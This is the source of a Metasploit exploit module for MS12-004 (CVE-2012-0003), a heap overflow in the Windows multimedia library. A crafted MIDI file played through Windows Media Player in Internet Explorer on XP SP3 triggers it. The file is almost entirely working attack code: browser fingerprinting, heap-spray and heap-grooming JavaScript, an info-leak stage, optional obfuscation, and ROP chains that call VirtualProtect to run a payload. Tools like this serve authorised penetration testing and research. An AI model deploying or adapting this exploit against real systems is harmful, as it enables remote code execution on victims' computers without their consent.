metasploit-framework/modules/exploits/windows/browser/ms12_004_midi.rb

610 lines
18 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
'Description' => %q{
This module exploits a heap overflow vulnerability in the Windows Multimedia
Library (winmm.dll). The vulnerability occurs when parsing specially crafted
MIDI files. Remote code execution can be achieved by using the Windows Media Player
ActiveX control.
Exploitation is done by supplying a specially crafted MIDI file with
specific events, causing the offset calculation being higher than what is
available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
us to either "inc al" or "dec al" a byte. This can be used to corrupt an array
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
which leverages remote code execution under the context of the user.
Note: At this time, for IE 8 target, msvcrt ROP is used by default. However,
if you know your target's patch level, you may also try the 'MSHTML' advanced
option for an info leak based attack. Currently, this module only supports two
MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3.
Or 8.0.6001.19120, which is patch level before the MS12-004 fix.
Also, based on our testing, the vulnerability does not seem to trigger when
the victim machine is operated via rdesktop.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shane Garrett', #Initial discovery (IBM X-Force)
'juan vazquez',
'sinn3r'
],
'References' =>
[
[ 'MSB', 'MS12-004'],
[ 'CVE', '2012-0003' ],
[ 'OSVDB', '78210'],
[ 'BID', '51292']
],
'Payload' =>
{
'Space' => 1024
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 8 on Windows XP SP3',
{
# xchg ecx,esp
# or byte ptr [eax],al
# add byte ptr [edi+5Eh],bl
# ret 8
# From IMAGEHLP
'Rop' => true,
'StackPivot' => 0x76C9B4C2,
'DispatchDst' => 0x0c0c1bd0
}
]
],
'Privileged' => false,
'DisclosureDate' => "Jan 10 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
])
register_advanced_options(
[
OptEnum.new('MSHTML',
[
false, "MSHTML Build Version", '',
[
'', #Default (no leaky leaky)
'8.0.6001.18702', #newly installed Win XP SP3 non patched
'8.0.6001.19120' #fully patched before KB2598479 - been the same at least since Sep 2011
]
])
])
end
def exploit
@m_name, @midi = get_midi
@ml_name, @midi_leak = get_midi("leak")
@second_stage_url = rand_text_alpha(10)
@leak_param = rand_text_alpha(5)
# Offset to CFunctionPointer vftable in MSHTML
case datastore['MSHTML']
when '8.0.6001.18702'
@offset = 0xbf190
when '8.0.6001.19120'
@offset = 0xd92c8
end
super
end
def get_target(request)
agent = request.headers['User-Agent']
print_status("Request as: #{agent}")
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP SP3 + IE 6.0
return targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP SP3 + IE 7.0
return targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
#Windows XP SP3 + IE 8.0
return targets[3]
else
return nil
end
end
# stage => "corruption" (default) | "leak"
def get_midi(stage="corruption")
# MIDI Fileformat Reference:
# http://www.sonicspot.com/guide/midifiles.html
#
# Event Types:
# 0x08 = Note Off (when MIDI key is released)
# 0x09 = Note On (when MIDI key is pressed)
# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
# 0x0B = Controller Event (MIDI channels state)
# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
# 0x0F = Meta Events (not sent or received over a midi port)
# Structure:
# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
# Track Chunk Data
tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
# Meta Event - Sequence/Track Name
tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
# Midi Channel Event - Program Change
tc << "\x00\xC9\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x07\x64"
# Midi Channel Event - Controller
tc << "\x00\xB9\x0A\x40"
# Midi Channel Event - Controller
tc << "\x00\xB9\x7B\x00"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5B\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5D\x00"
# Midi Channel Event - Note On
tc << "\x85\x50\x99\x23\x7F"
# Corruption events
if stage == "corruption"
# Midi Channel Event - Note On
tc << "\x00\x9F\xb2\x73"
else
# Midi Channel Event - Note Off (trigger a leak)
tc << "\x00\x8F\xb2\x73"
end
# Meta Event - End Of Track
tc << "\x00\xFF\x2F\x00"
m = ''
# HEADERCHUNK Header
m << "MThd" # Header
m << "\x00\x00\x00\x06" # Chunk size
m << "\x00\x00" # Format Type
m << "\x00\x01" # Number of tracks
m << "\x00\x60" # Time division
# TRACKCHUNK header
m << "MTrk" # Header
m << [tc.length].pack('N')
m << tc
#midi_name = "test_case.mid"
midi_name = rand_text_alpha(5) + ".mid"
return midi_name, m
end
def on_request_uri(cli, request)
# Initialize a target. If none suitable, then we don't continue.
my_target = target
if my_target.name =~ /Automatic/
my_target = get_target(request)
agent = request.headers['User-Agent']
if my_target.nil? and agent !~ /Windows\-Media\-Player|NSPlayer/
send_not_found(cli)
print_error("Unknown user-agent")
return
end
vprint_status("Target selected: #{my_target.name}") if not my_target.nil?
end
# Send the corrupt midi file to trigger a memory leak, or a crash to that points
# to an arbitrary address.
if request.uri =~ /#{@ml_name}$/i
print_status("Testing for info leak...")
send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'})
return
elsif request.uri =~ /#{@m_name}$/i
print_status("Sending midi corruption file...")
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
return
end
# Send the appropriate stage
if datastore['MSHTML'].to_s != '' and my_target['Rop']
if request.uri =~ /#{@second_stage_url}/
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
0
end
print_status("Leaked address: 0x#{leak.to_s(16)}")
send_stage(cli, my_target, 'trigger', leak)
return
end
send_stage(cli, my_target, 'leak')
else
send_stage(cli, my_target)
end
end
def send_stage(cli, my_target, stage='trigger', leak=0)
midi_uri = get_resource.chomp("/")
if stage == 'leak'
midi_uri << "/#{@ml_name}"
trigger = build_trigger(my_target, "leak")
else
midi_uri << "/#{@m_name}"
trigger = build_trigger(my_target)
spray = build_spray(my_target, leak)
end
if datastore['OBFUSCATE']
spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate(memory_sensitive: true)
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
trigger.obfuscate(memory_sensitive: true)
trigger_fn = trigger.sym('trigger')
else
trigger_fn = 'trigger'
end
html = %Q|
<html>
<head>
<script language='javascript'>
#{spray}
</script>
<script language='javascript'>
#{trigger}
</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
#{trigger_fn}();
}
</script>
</head>
<body>
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
<param name="fileName" value="#{midi_uri}">
<param name="SendPlayStateChangeEvents" value="true">
<param NAME="AutoStart" value="True">
<param name="uiMode" value="mini">
<param name="Volume" value="-300">
</object>
</body>
</html>
|
html = html.gsub(/^ {4}/, '')
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def build_spray(my_target, leak=0)
# Extract string based on target
if my_target.name == 'IE 8 on Windows XP SP3'
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
else
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
end
# Build shellcode based on Rop requirement
code = ''
if my_target['Rop'] and datastore['MSHTML'].to_s != ''
print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
code << create_info_leak_rop(my_target, leak)
code << payload.encoded
elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
print_status("Generating ROP using msvcrt")
code << create_rop(my_target, payload.encoded)
else
code << payload.encoded
end
shellcode = Rex::Text.to_unescape(code)
randnop = rand_text_alpha(rand(100) + 1)
js_nops = Rex::Text.to_unescape("\x0c"*4)
# 1. Create big block of nops
# 2. Compose one block which is nops + shellcode
# 3. Repeat the block
# 4. Extract string from the big block
# 5. Spray
spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{shellcode}");
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x1000) nops+= nops;
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
#{js_extract_str}
heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}
JS
spray = heaplib(spray, {:noobfu => true})
return spray
end
# Build the JavaScript string for the attributes
# type => "corruption" (default) | "leak"
def build_element(element_name, my_target, type="corruption")
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
element = ''
if my_target.name =~ /IE 8/
max = 63 # Number of attributes for IE 8
index = 1 # Where we want to confuse the type
else
max = 55 # Number of attributes for before IE 8
index = 0 # Where we want to confuse the type
end
element << "var #{element_name} = document.createElement(\"select\")" + "\n"
# Build attributes
0.upto(max) do |i|
case type
when "corruption"
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
else #leak
obj = "alert"
end
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
end
return element
end
# Feng Shui and triggering Steps:
# 1. Run the garbage collector before allocations
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
# 3. Make holes
# 4. Let windows media play the crafted midi file and corrupt the heap
# 5. Force the using of the confused tagVARIANT.
def build_trigger(my_target, type="corruption")
js_trigger = build_trigger_fn(my_target, type)
select_element = build_element('selob', my_target, type)
trigger = <<-JS
var heap = new heapLib.ie();
#{select_element}
var clones = new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
#{js_trigger}
JS
trigger = heaplib(trigger, {:noobfu => true})
return trigger
end
# type = "corruption" (default) | "leak"
def build_trigger_fn(my_target, type="corruption")
js_trigger=""
case type
when "corruption"
js_trigger = js_trigger_fn_corruption(my_target)
when "leak"
js_trigger = js_trigger_fn_leak(my_target)
end
return js_trigger
end
# Redoing the feng shui if fails makes it reliable
def js_trigger_fn_corruption(my_target)
attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0'
js = %Q|
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].#{attribute}) == "string") {
} else {
clones[k].#{attribute}('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
|
return js
end
# Redoing the feng shui if fails makes it reliable
def js_trigger_fn_leak(my_target)
js_trigger = ""
if my_target.name == 'IE 8 on Windows XP SP3'
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0)
document.location = "#{get_resource.chomp("/")}/#{@second_stage_url}" + "?#{@leak_param}=" + leak
return;
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
end
return js_trigger
end
def create_rop(t, p)
# MSVCRT.dll ROP
padding = ''
padding << [0x77C4CA70].pack("V*") #ADD ESP,0C; RET
padding << [t['StackPivot']].pack("V*")
padding << [0x77C4CA73].pack("V*") * 12 #ROP NOPs
generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})
end
def create_info_leak_rop(my_target, leak = 0x0)
base = (leak == 0x00) ? 0x63580000 : (leak - @offset)
print_status("Image base of mshtml: 0x%x" %base)
# Generate the gadgets based on offset
rop_gadgets = ''
case @offset
when 0xd92c8
rop_gadgets =
[
:junk,
:junk,
0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
:junk,
0x247e5d, # ROP NOPs
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5d,
0x247e5c, # POP ESI # RETN [mshtml.dll]
0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll]
0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll]
0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll]
:junk,
0x3460c, # POP EBP # RETN [mshtml.dll]
:junk,
:junk,
0x23ef79, # & jmp esp [mshtml.dll]
0x189303, # POP EBX # RETN [mshtml.dll]
:ebx, # 0x00000201-> ebx
0x20437c, # POP EDX # RETN [mshtml.dll]
:edx, # 0x00000040-> edx
0xc277, # POP ECX # RETN [mshtml.dll]
0x53a47d, # &Writable location [mshtml.dll]
0x4a33e2, # POP EDI # RETN [mshtml.dll]
0x4b601, # RETN (ROP NOP) [mshtml.dll]
0x33fbc6, # POP EAX # RETN [mshtml.dll]
:nop,
0x52c718 # PUSHAD # RETN [mshtml.dll]
]
when 0xbf190
rop_gadgets =
[
:junk,
0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14
:junk,
0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7
:junk,
:junk,
:junk,
:junk,
:junk,
0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll]
0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]
0x3dc745, # POP ESI # RETN [mshtml.dll]
:neg, # 0xffffffff
0x2fb18b, # INC ESI # RETN [mshtml.dll]
0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll]
0x4aada7, # POP EBP # RETN [mshtml.dll]
:junk, # Compensates RETN
:junk, # Compensates RETN
0x1ffc54, # & jmp esp [mshtml.dll]
0x4498a7, # POP EBX # RETN [mshtml.dll]
:ebx, # 0x00000800: 0x00000201-> ebx
0x24cce4, # POP EDX # RETN [mshtml.dll]
:edx, # 0x00000040-> edx
0x158306, # POP ECX # RETN [mshtml.dll]
0x535098, # &Writable location [mshtml.dll]
0x1cf217, # POP EDI # RETN [mshtml.dll]
0xa0001, # RETN (ROP NOP) [mshtml.dll]
0x349f9b, # POP EAX # RETN [mshtml.dll]
:nop,
0x2afbe8 # PUSHAD # RETN [mshtml.dll]
]
end
nops = make_nops(4).unpack("L")[0].to_i
rop_gadgets.map! { |e|
if e == :junk
rand_text(4).unpack("L")[0].to_i
elsif e == :neg
0xffffffff
elsif e == :ebx
0x00000800
elsif e == :edx
0x00000040
elsif e == :nop
nops
else
base + e
end
}
chain = rop_gadgets.pack('V*')
return chain
end
end